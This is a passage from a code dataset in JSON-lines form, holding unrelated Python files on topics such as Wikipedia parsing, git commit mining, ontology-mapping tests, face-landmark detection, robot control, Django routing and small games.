endmsg)\nendgamemsg.setSize(20)\nendgamemsg.setTextColor(\"white\")\ndiscordbutton = Rectangle(Point(500, 620), Point(940,690))\ndiscordbutton.setFill(\"blue\")\ndiscordbuttontext = Text(Point(720,655),\"Click me to join the Rin Sim Discord\")\ndiscordbuttontext.setSize(25)\ndiscordbuttontext.setFill(\"white\")\nendgamemsg.draw(window)\ndiscordbutton.draw(window)\ndiscordbuttontext.draw(window)\ndef discordbuttonclick():\n clickpos = window.getMouse()\n clickposx = float(str(clickpos)[6:11])\n clickposy = float(str(clickpos)[13:18])\n if (500 < clickposx < 940) and (620 < clickposy < 690):\n import webbrowser\n webbrowser.open('https://discord.gg/xnXbc8F')\n else:\n discordbuttonclick()\ndiscordbuttonclick()\n\n#Keep this at the end\nwindow.mainloop()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"121228058","text":"# coding: utf-8\n\nimport json\nimport re\n\n\ndef get_json_data(word):\n \n with open(\"jawiki-country.json\",encoding='utf-8') as f:\n article_json = f.readline() #1行読み込み\n while article_json:\n article_dict = json.loads(article_json) #辞書型でロード\n if article_dict[\"title\"] == word:\n return article_dict[\"text\"]\n else:\n article_json = f.readline() #次の要素をロード\n \n return \"\"\n\n\ntemp_dict = {}\nlines = get_json_data(\"イギリス\").split(\"\\n\") #改行で分割してリスト型変数へ格納\nfor line in lines:\n temp_line = re.search(\"^(.*?)\\s=\\s(.*)\", line, re.S)\n if temp_line is not None:\n temp_dict[temp_line.group(1)] = re.sub(\"'{2,5}\", \"\", temp_line.group(2))\n\n\nfor k, v in sorted(temp_dict.items(), key=lambda x: x[1]):\n print(k, v)\n\n","sub_path":"3/26.py","file_name":"26.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"150879820","text":"from pydriller import RepositoryMining\nfrom tqdm import tqdm\nfrom datetime import datetime\nimport time\nimport sys\n\ncommitMessage = []\ncommitDate = []\ncommitModification = []\nrepoSplit = []\n\ndef loadingBar(count,total,size):\n percent = float(count)/float(total)*100\n sys.stdout.write(\"\\r\" + str(int(count)).rjust(3,'0')+\"/\"+str(int(total)).rjust(3,'0') + ' [' + '='*int(percent/10)*size + ' '*(10-int(percent/10))*size + ']' + str(int(percent))+'%')\n\ndef recupFromRepo(s_repoPath, s_starting_date, s_ending_date, s_keyword):\n s_date_format = \"%d/%m/%Y\" \n d_starting_date = datetime.strptime(s_starting_date, s_date_format)\n d_ending_date = datetime.strptime(s_ending_date, s_date_format)\n \n commits = RepositoryMining(s_repoPath, None, d_starting_date, d_ending_date, None, None, None, None, None, \"master\").traverse_commits()\n \n nbCommits = len(list(commits))\n numberCommit = 0\n\n file = open(\"out.csv\", \"w\")\n\n print(\"Number of commits : {}\".format(nbCommits))\n\n #s_starting_date = \"01/01/2020\"\n #s_ending_date = \"27/11/2020\"\n\n start = time.time()\n\n file.write(\"date;modified files;title;detail;main branch\\n\")\n for commit in RepositoryMining(s_repoPath, None, d_starting_date, d_ending_date, None, None, None, None, None, \"master\").traverse_commits() :\n \n #file.write('Message {} , date {} , includes {} modified files'.format(commit.msg, commit.committer_date, len(commit.modifications)))\n date = str(commit.committer_date)\n date = date.split(\" \")[0]\n commitDate.append(date)\n msg = commit.msg\n mainBranch = commit.in_main_branch\n\n msg = msg.split('\\n')\n title = msg[0]\n if(len(msg) > 1):\n detail = msg[1]\n else :\n detail = \"\"\n\n nbModification = len(commit.modifications)\n commitModification.append(nbModification)\n #file.write('date {} , ModifiedFiles {}\\n'.format(commit.committer_date, len(commit.modifications)))\n\n if(s_keyword != \"\") :\n if s_keyword in title : \n file.write('{};{};{};{};{}\\n'.format(date, nbModification, title, detail ,mainBranch))\n else :\n file.write('{};{};{};{};{}\\n'.format(date, nbModification, title, detail ,mainBranch))\n \n #loadingBar(numberCommit,nbCommits,3)\n numberCommit += 1\n\n file.close()\n\n end = time.time()\n print(\"\")\n print(\"time : {}\".format(end - start))\n \ndef decoupeResult(file):\n with open(file) as fp:\n line = fp.readline()\n cnt = 1\n while line:\n #print(line)\n repoSplit.append(line.split(\" , \"))\n line = fp.readline()\n cnt += 1\n\ndef main():\n s_repoPath = input(\"path : \")\n s_starting_date = input(\"starting date : \")\n s_ending_date = input(\"ending date : \")\n s_keyword = input(\"keyword : \")\n \n recupFromRepo(s_repoPath,s_starting_date,s_ending_date,s_keyword)\n \n #decoupeResult(\"out.csv\")\n \n print(\"\")\n input(\"Press any touch to continue...\")\n\nmain()\n","sub_path":"chapters/2020/assets/MLAndEvolution/codes/pydriller_scikit-IT-RGA-0619.py","file_name":"pydriller_scikit-IT-RGA-0619.py","file_ext":"py","file_size_in_byte":3060,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"45182250","text":"\"\"\"Tests for conversion utilities.\"\"\"\n\nimport filecmp\nimport json\nimport logging\nimport unittest\nfrom typing import Dict\n\nimport yaml\nfrom rdflib import Graph\n\nfrom sssom.parsers import get_parsing_function, parse_sssom_table, to_mapping_set_document\nfrom sssom.sssom_document import MappingSetDocument\nfrom sssom.util import to_mapping_set_dataframe\nfrom sssom.writers import (\n to_json,\n to_ontoportal_json,\n to_owl_graph,\n to_rdf_graph,\n write_json,\n write_owl,\n write_rdf,\n write_table,\n)\nfrom tests.constants import data_dir\nfrom tests.test_data import SSSOMTestCase, get_all_test_cases\n\n\nclass SSSOMReadWriteTestSuite(unittest.TestCase):\n \"\"\"A test case for conversion utilities.\"\"\"\n\n def test_conversion(self):\n \"\"\"Run all conversion tests.\"\"\"\n test_cases = get_all_test_cases()\n self.assertTrue(len(test_cases) > 2, \"Less than 2 testcases in the test suite!\")\n for test in test_cases:\n with self.subTest(test=test.id):\n read_func = get_parsing_function(test.inputformat, test.filepath)\n if test.metadata_file:\n with open(data_dir / test.metadata_file, \"r\") as f:\n meta = yaml.safe_load(f)\n else:\n meta = None\n msdf = read_func(test.filepath, prefix_map=test.prefix_map, meta=meta)\n mdoc = to_mapping_set_document(msdf)\n logging.info(f\"Testing {test.filepath}\")\n self.assertEqual(\n len(mdoc.mapping_set.mappings),\n test.ct_data_frame_rows,\n f\"Wrong number of mappings in MappingSet of {test.filename}\",\n )\n logging.info(\"Testing OWL export\")\n self._test_to_owl_graph(mdoc, test)\n logging.info(\"Testing RDF export\")\n self._test_to_rdf_graph(mdoc, test)\n logging.info(\"Testing CSV export\")\n self._test_to_dataframe(mdoc, test)\n logging.info(\"Testing JSON export\")\n self._test_to_json_dict(mdoc, test)\n self._test_to_json(mdoc, test)\n logging.info(\"Testing ontoportal JSON export\")\n self._test_to_ontoportal_json(mdoc, test)\n\n def _test_to_owl_graph(self, mdoc, test):\n msdf = to_mapping_set_dataframe(mdoc)\n g = to_owl_graph(msdf)\n file_format = \"owl\"\n self._test_graph_roundtrip(g, test, file_format)\n path = test.get_out_file(file_format)\n with open(path, \"w\") as file:\n write_owl(msdf, file, test.graph_serialisation)\n self._test_load_graph_size(\n path,\n test.graph_serialisation,\n test.ct_graph_queries_owl,\n )\n # self._test_files_equal(test.get_out_file(file_format), test.get_validate_file(file_format))\n\n def _test_to_json(self, mdoc, test: SSSOMTestCase):\n msdf = to_mapping_set_dataframe(mdoc)\n jsonob = to_json(msdf)\n self.assertEqual(len(jsonob), test.ct_json_elements)\n with open(test.get_out_file(\"json\"), \"w\") as file:\n write_json(msdf, file, serialisation=\"json\")\n\n def _test_to_ontoportal_json(self, mdoc, test: SSSOMTestCase):\n msdf = to_mapping_set_dataframe(mdoc)\n jsonob = to_ontoportal_json(msdf)\n self.assertEqual(len(jsonob), test.ct_data_frame_rows)\n first_ob: Dict = jsonob[0]\n self.assertTrue(\"classes\" in first_ob)\n self.assertTrue(len(first_ob.get(\"classes\")) == 2)\n self.assertTrue(\"relation\" in first_ob)\n self.assertIsInstance(first_ob.get(\"relation\"), list)\n self.assertGreater(len(first_ob.get(\"relation\")), 0)\n\n def _test_to_rdf_graph(self, mdoc, test):\n msdf = to_mapping_set_dataframe(mdoc)\n g = to_rdf_graph(msdf)\n file_format = \"rdf\"\n self._test_graph_roundtrip(g, test, file_format)\n path = test.get_out_file(file_format)\n with open(path, \"w\") as file:\n write_rdf(msdf, file, test.graph_serialisation)\n self._test_load_graph_size(\n path,\n test.graph_serialisation,\n test.ct_graph_queries_rdf,\n )\n # self._test_files_equal(test.get_out_file(file_format), test.get_validate_file(file_format))\n\n def _test_graph_roundtrip(self, g: Graph, test: SSSOMTestCase, file_format: str):\n self._test_graph_size(g, getattr(test, f\"ct_graph_queries_{file_format}\"), test.filename)\n f_roundtrip = test.get_out_file(f\"roundtrip.{file_format}\")\n g.serialize(destination=f_roundtrip, format=test.graph_serialisation)\n self._test_load_graph_size(\n f_roundtrip,\n test.graph_serialisation,\n getattr(test, f\"ct_graph_queries_{file_format}\"),\n )\n\n def _test_files_equal(self, f1, f2):\n self.assertTrue(filecmp.cmp(f1, f2), f\"{f1} and {f2} are not the same!\")\n\n def _test_load_graph_size(self, file: str, graph_serialisation: str, queries: list):\n g = Graph()\n g.parse(file, format=graph_serialisation)\n self._test_graph_size(g, queries, file)\n\n def _test_graph_size(self, graph: Graph, queries: list, file: str):\n for query, size in queries:\n self.assertEqual(\n len(graph.query(query)),\n size,\n f\"Graph query {query} does not return the expected number of triples for {file}\",\n )\n\n def _test_to_dataframe(self, mdoc, test):\n msdf = to_mapping_set_dataframe(mdoc)\n df = msdf.df\n self.assertEqual(\n len(df),\n test.ct_data_frame_rows,\n f\"The pandas data frame has less elements than the orginal one for {test.filename}\",\n )\n df.to_csv(test.get_out_file(\"roundtrip.tsv\"), sep=\"\\t\")\n # data = pd.read_csv(test.get_out_file(\"roundtrip.tsv\"), sep=\"\\t\")\n data = parse_sssom_table(test.get_out_file(\"roundtrip.tsv\")).df\n self.assertEqual(\n len(data),\n test.ct_data_frame_rows,\n f\"The re-serialised pandas data frame has less elements than the orginal one for {test.filename}\",\n )\n path = test.get_out_file(\"tsv\")\n with open(path, \"w\") as file:\n write_table(msdf, file)\n # self._test_files_equal(test.get_out_file(\"tsv\"), test.get_validate_file(\"tsv\"))\n df = parse_sssom_table(path).df\n self.assertEqual(\n len(df),\n test.ct_data_frame_rows,\n f\"The exported pandas data frame has less elements than the orginal one for {test.filename}\",\n )\n\n def _test_to_json_dict(self, mdoc: MappingSetDocument, test: SSSOMTestCase):\n msdf = to_mapping_set_dataframe(mdoc)\n json_dict = to_json(msdf)\n self.assertTrue(\"mappings\" in json_dict)\n\n self.assertEqual(\n len(json_dict),\n test.ct_json_elements,\n f\"JSON document has less elements than the orginal one for {test.filename}. Json: {json.dumps(json_dict)}\",\n )\n\n self.assertEqual(\n len(json_dict[\"mappings\"]),\n len(msdf.df),\n f\"JSON document has less mappings than the orginal ({test.filename}). Json: {json.dumps(json_dict)}\",\n )\n\n with open(test.get_out_file(\"roundtrip.json\"), \"w\", encoding=\"utf-8\") as f:\n json.dump(json_dict, f, ensure_ascii=False, indent=4)\n\n with open(test.get_out_file(\"roundtrip.json\")) as json_file:\n data = json.load(json_file)\n\n self.assertEqual(\n len(data),\n test.ct_json_elements,\n f\"The re-serialised JSON file has less elements than the orginal one for {test.filename}\",\n )\n path = test.get_out_file(\"jsonld\")\n with open(path, \"w\") as file:\n write_json(msdf, file)\n with open(path) as json_file:\n data = json.load(json_file)\n # self._test_files_equal(test.get_out_file(\"json\"), test.get_validate_file(\"json\"))\n self.assertEqual(\n len(data),\n test.ct_json_elements,\n f\"The exported JSON file has less elements than the orginal one for {test.filename}\",\n )\n","sub_path":"tests/test_conversion.py","file_name":"test_conversion.py","file_ext":"py","file_size_in_byte":8234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"537846252","text":"#!/usr/bin/python\n# The contents of this file are in the public domain. See LICENSE_FOR_EXAMPLE_PROGRAMS.txt\n#\n# This example program shows how to find frontal human faces in a webcam stream using OpenCV.\n# It is also meant to demonstrate that rgb images from Dlib can be used with opencv by just\n# swapping the Red and Blue channels.\n#\n# You can run this program and see the detections from your webcam by executing the\n# following command:\n# ./opencv_face_detection.py\n#\n# This face detector is made using the now classic Histogram of Oriented\n# Gradients (HOG) feature combined with a linear classifier, an image\n# pyramid, and sliding window detection scheme. This type of object detector\n# is fairly general and capable of detecting many types of semi-rigid objects\n# in addition to human faces. Therefore, if you are interested in making\n# your own object detectors then read the train_object_detector.py example\n# program.\n#\n#\n# COMPILING/INSTALLING THE DLIB PYTHON INTERFACE\n# You can install dlib using the command:\n# pip install dlib\n#\n# Alternatively, if you want to compile dlib yourself then go into the dlib\n# root folder and run:\n# python setup.py install\n#\n# Compiling dlib should work on any operating system so long as you have\n# CMake installed. On Ubuntu, this can be done easily by running the\n# command:\n# sudo apt-get install cmake\n#\n# Also note that this example requires Numpy which can be installed\n# via the command:\n# pip install numpy\n# pip install progressbar2\n\nimport sys\nimport dlib\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport itertools\nimport progressbar\n\nfilename = '2.yes_motion_resize'\npredictor_path = '../lib/dlib-models/shape_predictor_68_face_landmarks.dat'\nvideo_input = './videos/{:s}.mp4'.format(filename)\nvideo_output = './videos/result/{:s}_68landmarks.mp4'.format(filename)\n\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor(predictor_path)\n\nvidin = cv2.VideoCapture(video_input)\nret,frame = vidin.read()\nfps = vidin.get(cv2.CAP_PROP_FPS)\nframes = vidin.get(cv2.CAP_PROP_FRAME_COUNT)\nresults = []\n\nprint(' Video FPS rate is {}'.format(fps))\nprint(' {} total frames'.format(frames))\nprint(' Frame size : {}'.format(frame.shape))\n\n# Define the codec and create VideoWriter object\nfourcc = cv2.VideoWriter_fourcc(*'MP4V')\nvidout = cv2.VideoWriter(video_output,fourcc, fps, (frame.shape[1],frame.shape[0]))\n\ndef rgb_to_gray(src):\n dist = src.copy()\n b, g, r = src[:,:,0], src[:,:,1], src[:,:,2]\n gray = 0.2989 * r + 0.5870 * g + 0.1140 * b\n dist[:,:,0] = gray\n dist[:,:,1] = gray\n dist[:,:,2] = gray\n return dist\n\ndef crosshairs(image,x_left,x_right,y_top,y_bottom):\n # Param\n color = (0,255,0)\n y_offset = 0\n # Line Property\n w = x_right - x_left\n h = y_bottom - y_top\n x_line_width = np.max([int(0.02*w),1])\n y_line_width = np.max([int(0.02*h),1])\n x_line_len = np.max([ int(0.2*w),1])\n y_line_len = np.max([ int(0.2*h),1])\n # Shift Y coordinate\n y_top = y_top - y_offset\n y_bottom = y_bottom - y_offset\n # Left Top Corner\n cv2.rectangle(image,(x_left, y_top), (x_left + x_line_len, y_top + y_line_width), color, -1)\n cv2.rectangle(image,(x_left, y_top), (x_left + x_line_width, y_top + y_line_len), color, -1)\n # Right Top Corner\n cv2.rectangle(image,(x_right - x_line_len, y_top), (x_right, y_top + y_line_width), color, -1)\n cv2.rectangle(image,(x_right - x_line_width, y_top), (x_right, y_top + y_line_len), color, -1)\n # Right Bottom Corner\n cv2.rectangle(image,(x_right - x_line_len, y_bottom - y_line_width), (x_right, y_bottom), color, -1)\n cv2.rectangle(image,(x_right - x_line_width, y_bottom - y_line_len), (x_right, y_bottom), color, -1)\n # Left Bottom Corner\n cv2.rectangle(image,(x_left, y_bottom - y_line_width), (x_left + x_line_len, y_bottom), color, -1)\n cv2.rectangle(image,(x_left, y_bottom - y_line_len), (x_left + x_line_width, y_bottom), color, -1)\n #\n return image\n\ndef draw_result(image, det, shape):\n image = crosshairs(image,det.left(),det.right(), det.top(),det.bottom())\n color = (0,255,0)\n for i in range(shape.num_parts):\n #image[shape.part(i).y, shape.part(i).x] = (0,255,0)\n #if(i != 0) and (i != 17) and (i != 22) and (i != 27) and (i != 31) and (i != 36) and (i != 42) and (i != 48) and (i != 60) and (i != 68):\n #cv2.line(image,\n # (shape.part(i-1).x, shape.part(i-1).y),\n # (shape.part(i).x, shape.part(i).y),color,1)\n cv2.circle(image, (shape.part(i).x, shape.part(i).y), 2, color, 2)\n\n return image\n\n\nwith progressbar.ProgressBar(maxval=frames) as bar:\n n = 0\n while(vidin.isOpened()):\n ret, frame = vidin.read()\n if frame is None:\n break;\n rgb_image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\n dets = detector(rgb_image, 1)\n bgr_frame = rgb_to_gray(rgb_image)\n\n for det in dets:\n bgr_frame[det.top():det.bottom(),det.left():det.right(),:] = frame[det.top():det.bottom(),det.left():det.right(),:]\n shape = predictor(rgb_image, det)\n bgr_frame = draw_result(bgr_frame, det, shape)\n parts = [[shape.part(i).x, shape.part(i).y] for i in range(shape.num_parts)]\n pts = list(itertools.chain(*parts))\n results.append([n, pts])\n break\n\n # write the flipped frame\n vidout.write(bgr_frame)\n n += 1\n #print('\\r{:d}/{:d}'.format(n,int(frames)), end=\"\")\n bar.update(n)\n\n #cv2.imshow('image',bgr_frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# Save score\ndf = pd.DataFrame(results,columns=['frame#','pts'])\ndf.to_csv('./csv/{:s}_68landmarks.csv'.format(filename))\n\n# Release everything if job is finished\nvidin.release()\nvidout.release()\ncv2.destroyAllWindows()\n","sub_path":"python/opencv_video_face_detection_landmark.py","file_name":"opencv_video_face_detection_landmark.py","file_ext":"py","file_size_in_byte":5947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"196642483","text":"#!/usr/bin/env pybricks-micropython\nfrom pybricks import ev3brick as brick\nfrom pybricks.ev3devices import (Motor, TouchSensor, ColorSensor,\n InfraredSensor, UltrasonicSensor, GyroSensor)\nfrom pybricks.parameters import (Port, Stop, Direction, Button, Color,\n SoundFile, ImageFile, Align)\nfrom pybricks.tools import print, wait, StopWatch\nfrom pybricks.robotics import DriveBase\n\nV=400 #Definition Geschwindigkeit\nrightMotor = Motor(Port.A) #Definition rechter Motor\nleftMotor = Motor(Port.B) #Definition linker Motor \n\nultrasonicSensor = UltrasonicSensor(Port.S1)\ncolorSensor1 = ColorSensor(Port.S2) #Definieren des linken Farbsensors\ncolorSensor2 = ColorSensor(Port.S3) #Definieren des rechten Farbsensors\n\nreflection1 = colorSensor1.reflection() #Sucht nach Reflektionen\nreflection2= colorSensor2.reflection()\n\nif reflection1==reflection2 and reflection1>1: #Sobald beide Reflektionen größer als 1,\n leftMotor.run(V) #Beide Motoren fahren\n rightMotor.run(V)\n\nif (reflection1==reflection2) and reflecion1<1: #Sobald beide Reflektionen kleiner als 1, \n leftMotor.run(V-200) #Beide Motoren fahren langsamer\n rightMotor.run(V-200)\n\nif (reflection1>reflection2): #Sobald Reflektion 1 größer ist als Reflektion 2, \n leftMotor.run(V) #Dreht nach links\n rightMotor.run(V-200)\n\nif (reflection1>'label_definition' = %(label_definition)s\n \"\"\"\n\n model_groups = pd.read_sql(\n query, con=self.db_engine, params={\"label_definition\": label_def}\n )\n self.model_groups = list(model_groups[\"model_group_id\"])\n return self.model_groups\n\n def get_model_groups_from_experiment(self, experiment_hash):\n \"\"\"A function to pull model groups based on experiment_hash in order\n to prepare for Auditioner.\n\n Args:\n experiment_hash: (string) Experiment hash\n \"\"\"\n query = \"\"\"\n SELECT DISTINCT(model_group_id)\n FROM triage_metadata.models\n JOIN triage_metadata.experiment_models using (model_hash)\n WHERE experiment_hash = %(experiment_hash)s\n \"\"\"\n\n model_groups = pd.read_sql(\n query, con=self.db_engine, params={\"experiment_hash\": experiment_hash}\n )\n self.model_groups = list(model_groups[\"model_group_id\"])\n return self.model_groups\n\n def get_model_groups(self, query):\n \"\"\"A funciton to pull model groups based on customized query in order\n to preparre for Auditioner.\n\n Args:\n query: (string) SQL query for model groups\n \"\"\"\n model_groups = pd.read_sql(query, con=self.db_engine)\n self.model_group = list(model_groups[\"model_group_id\"])\n return self.model_group\n\n def get_train_end_times(self, after=None, query=None):\n \"\"\"A function to get a list of train_end_times after certain time\n\n Args:\n after: (string) YYYY-MM-DD time format\n query: (string) SQL query for train_end_times\n \"\"\"\n if query is None:\n query = \"\"\"\n SELECT DISTINCT train_end_time\n FROM triage_metadata.models\n WHERE model_group_id IN ({})\n AND train_end_time >= %(after)s\n ORDER BY train_end_time\n ;\n \"\"\".format(\n \", \".join(map(str, self.model_groups))\n )\n\n end_times = sorted(\n list(\n pd.read_sql(query, con=self.db_engine, params={\"after\": after})[\n \"train_end_time\"\n ]\n )\n )\n return end_times\n","sub_path":"src/triage/component/audition/pre_audition.py","file_name":"pre_audition.py","file_ext":"py","file_size_in_byte":3043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"42592892","text":"\"\"\"betterbind URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path, include\nfrom . import views\n\n\nurlpatterns = [\n path('', views.Home.as_view()),\n path('quote', views.Quote.as_view()),\n path('privacy', views.Privacy.as_view()),\n path('index.html', views.Home.as_view()),\n path('patch_quote', views.PatchQuote.as_view()),\n path('get_properties', views.getProperties.as_view()),\n path('about', views.About.as_view()),\n path('faq', views.Faq.as_view()),\n path('contact', views.Contact.as_view()),\n path('send_mail', views.SendMail.as_view()),\n path('thank_you', views.ThankYou.as_view())\n]\n","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"350323911","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport logging\nlogger = logging.getLogger(__name__)\nlogger.debug(\"%s loaded\", __name__)\n\nimport doorpi.action.base\nimport time\nfrom doorpi import DoorPi\n\nclass SingleAction(SingleActionBaseClass):\n\n __led = None\n\n def is_alive_led(self, led):\n # blink, status led, blink\n if int(round(time.time())) % 2:\n DoorPi().get_keyboard.set_output(\n pin = led,\n start_value = 1,\n end_value = 1,\n timeout = 0.0,\n log_output = False\n )\n else:\n DoorPi().get_keyboard.set_output(\n pin = led,\n start_value = 0,\n end_value = 0,\n timeout = 0.0,\n log_output = False\n )\n\n def fire(self):\n self.is_alive_led(self.__led)","sub_path":"doorpi/action/SingleActions/alive_led.py","file_name":"alive_led.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"360658138","text":"class Room(object): # Basic class for the rooms in the game.\n\n\tdef __init__(self, name, player):\n\t\tself.name = name\n\t\tself.assigned = ''# 1s and 0s that are used to store the indexes of assigned. Eg 001001 means that the 3rd and the 6th characters have been assigned here.\n\t \n\t\t# Determines the production level, max assigned limit etc.\n\t\tself.level = 1\n\t\tself.risk = 0 # Risk of breaking down, when rushed.\n\t\tself.broken = 0\n\t\t# 'On' if there is enough power for the room, 'Off' otherwise.\n\t\tself.power_available = \"On\"\n\t\t# Living rooms have no \"assigned\". Number of living rooms just limits\n\t\t# the total population of the shelter.\n\t\tif self.name == \"living\":\n\t\t\t# Stores whether or not room actually produces anything.\n\t\t\t# self.components=[\"wood\",] #Need to add components.\n\t\t\tself.can_produce = 0\n\t\t\tself.assigned_limit = 0 # No-one can be assigned to the living room\n\t\t\tself.components = [\"wood\", \"wood\", \"wood\",\n\t\t\t\t\t\t\t \"wood\"] # Required to build this room\n\t\t\tself.power_usage = 5\n\t\telif self.name == \"generator\":\n\t\t\tself.risk = 2\n\t\t\tself.can_produce = 1\n\t\t\tself.components = [\"steel\", \"steel\", \"steel\", \"steel\"]\n\t\t\t# Max number of workers that can work in the room at one time.\n\t\t\tself.assigned_limit = 3\n\t\t\tself.power_usage = 0\n\t\telif self.name == \"storage\":\n\t\t\tself.can_produce = 0\n\t\t\tself.assigned_limit = 0\n\t\t\tself.components = [\"steel\", \"steel\"]\n\t\t\tself.power_usage = 1\n\t\telif self.name == \"kitchen\":\n\t\t\tself.risk = 1\n\t\t\tself.can_produce = 1\n\t\t\tself.assigned_limit = 3\n\t\t\tself.components = [\"wood\", \"wood\", \"wood\"]\n\t\t\tself.power_usage = 10\n\t\telif self.name == \"trader\":\n\t\t\tself.can_produce = 0\n\t\t\tself.assigned_limit = 1\n\t\t\tself.components = [\"wood\", \"wood\", \"steel\", \"steel\", \"wood\"]\n\t\t\tself.power_usage = 2\n\t\telif self.name == \"water works\":\n\t\t\tself.risk = 2\n\t\t\tself.can_produce = 1\n\t\t\tself.assigned_limit = 3\n\t\t\tself.components = [\"wood\", \"wood\", \"steel\"]\n\t\t\tself.power_usage = 10\n\t\telif self.name == \"radio\":\n\t\t\tself.can_produce = 0\n\t\t\tself.assigned_limit = 2\n\t\t\tself.components = [\"wood\", \"wood\", \"steel\", \"steel\", \"wood\"]\n\t\t\tself.power_usage = 15\n\t\t# Need to add more names.\n\t\telse:\n\t\t\tprint(\n\t\t\t\t\"Bug with room creation system. Please contact dev. Class specific bug.\")\n\t\tif self.can_produce == 1:\n\t\t\tself.production = 0\n\t\t\tself.can_rush = 1\n\t\t\tself.rushed = 0\n\t\telse:\n\t\t\tself.can_rush = 0\n\n\tdef rush(self):\n\t\tglobal rooms\n\t\tself.rushed = 1 # Lets game know this room has been rushed.\n\t\tself.risk += 5\n\t\tprint(self.name, \" has been rushed!\")\n\n\tdef fix(self): # If room is broken.\n\t\tglobal rooms\n\t\n\t# Calculates production level based on number, and skills, of assigned\n\t# people.\n\tdef update_production(self): # Calculates and returns prodcution value.\n\t\tif self.broken == 1:\n\t\t\tproduction = 0\n\t\t\tprint(self.name, \"is broken and needs to be fixed.\")\n\t\telse:\n\t\t\tproduction = 0 \n\t\t\tif self.name == \"generator\":\n\t\t\t\tfor person_index in str(self.assigned):\n\t\t\t\t\tif person_index == '1':\n\t\t\t\t\t\tproduction += (people[int(person_index)\n\t\t\t\t\t\t\t\t\t\t\t\t ].strength) * 10\n\t\t\t\tif player.electrician > 0:\n\t\t\t\t\tproduction = production * \\\n\t\t\t\t\t\t(1 + (player.electrician * 0.05))\n\n\t\t\telif self.name == \"kitchen\":\n\t\t\t\tfor person_index in str(self.assigned):\n\t\t\t\t\tif person_index == '1':\n\t\t\t\t\t\tproduction += (people[int(person_index)\n\t\t\t\t\t\t\t\t\t\t\t\t ].intelligence) * 10\n\t\t\t\tif player.cooking > 0:\n\t\t\t\t\tproduction = production * \\\n\t\t\t\t\t\t(1 + (player.cooking * 0.05))\n\n\t\t\telif self.name == \"water works\":\n\t\t\t\tfor person_index in str(self.assigned):\n\t\t\t\t\tif person_index == '1':\n\t\t\t\t\t\tproduction += (people[int(person_index)\n\t\t\t\t\t\t\t\t\t\t\t\t ].perception) * 10\n\t\t\t\tif player.cooking > 0:\n\t\t\t\t\tproduction = production * \\\n\t\t\t\t\t\t(1 + (player.cooking * 0.05))\n\t\t\telif self.name == \"radio\":\n\t\t\t\tfor person_index in str(self.assigned):\n\t\t\t\t\tif person_index == '1':\n\t\t\t\t\t\tproduction += (people[int(person_index)\n\t\t\t\t\t\t\t\t\t\t\t\t ].charisma) * 10\n\t\t\t\tif player.inspiration > 0:\n\t\t\t\t\tproduction = production * \\\n\t\t\t\t\t\t(1 + (player.inspiration * 0.05))\n\t\t\telse:\n\t\t\t\tprint(\"Bug with room production update system. Please contact dev.\")\n\t\t\tif player.inspiration > 0:\n\t\t\t\tproduction = production * \\\n\t\t\t\t\t(1 + (player.inspiration * 0.03))\n\t\t\tif self.can_rush == 1 and self.rushed == 1:\n\t\t\t\tproduction = production * 2\n\t\t\treturn production\n\n\tdef upgrade(self):\n\t\tself.level += 1\n\n\tdef count_assigned(self):\n\t\tcount = 0\n\t\tfor x in str(self.assigned):\n\t\t\tif x == '1':\n\t\t\t\tcount += 1\n\t\treturn count\n\n\tdef see_assigned(self):\n\t\tcount = 0\n\t\tfor x in str(self.assigned):\n\t\t\tif x == '1':\n\t\t\t\tperson = people[count]\n\t\t\t\tprint(\" \", person.name, person.surname)\n\t\t\tcount += 1\n\n\tdef count_component(self, component):\n\t\treturn self.components.count(str(component))\n\n\tdef can_use_power(self):\n\t\tif count_item('watt', 'player') > self.power_usage:\n\t\t\treturn True\n\t\telse:\n\t\t\treturn False\n\n\tdef use_power(self):\n\t\tfor x in range(0, self.power_usage):\n\t\t\tItem('watt').destroy(\"player\")\n","sub_path":"Room.py","file_name":"Room.py","file_ext":"py","file_size_in_byte":4864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"650556288","text":"# coding=utf-8\n# /user/bin/env python\n\n\"\"\"\nauthor:ranlay\ndate:2019/7/14 22:17\ndesc:线程 传可变类型的变量(list,dict,set)\n\"\"\"\nimport threading,time\n\nmy_list = [5,6,7]\ndef worker1(list):\n for x in range(3):\n list.append(x+1)\n print('***** in worker1, list is %s'%list)\n\ndef worker2(list):\n print('***** in worker2, list is %s' % list)\n\nif __name__ == '__main__':\n print('*****线程执行之前, list is %s' %my_list)\n t1 = threading.Thread(target=worker1,args=(my_list,))\n t1.start()\n time.sleep(1)\n t2 = threading.Thread(target=worker2,args=(my_list,))\n t2.start()\n print('***** 线程结束后, list is %s' 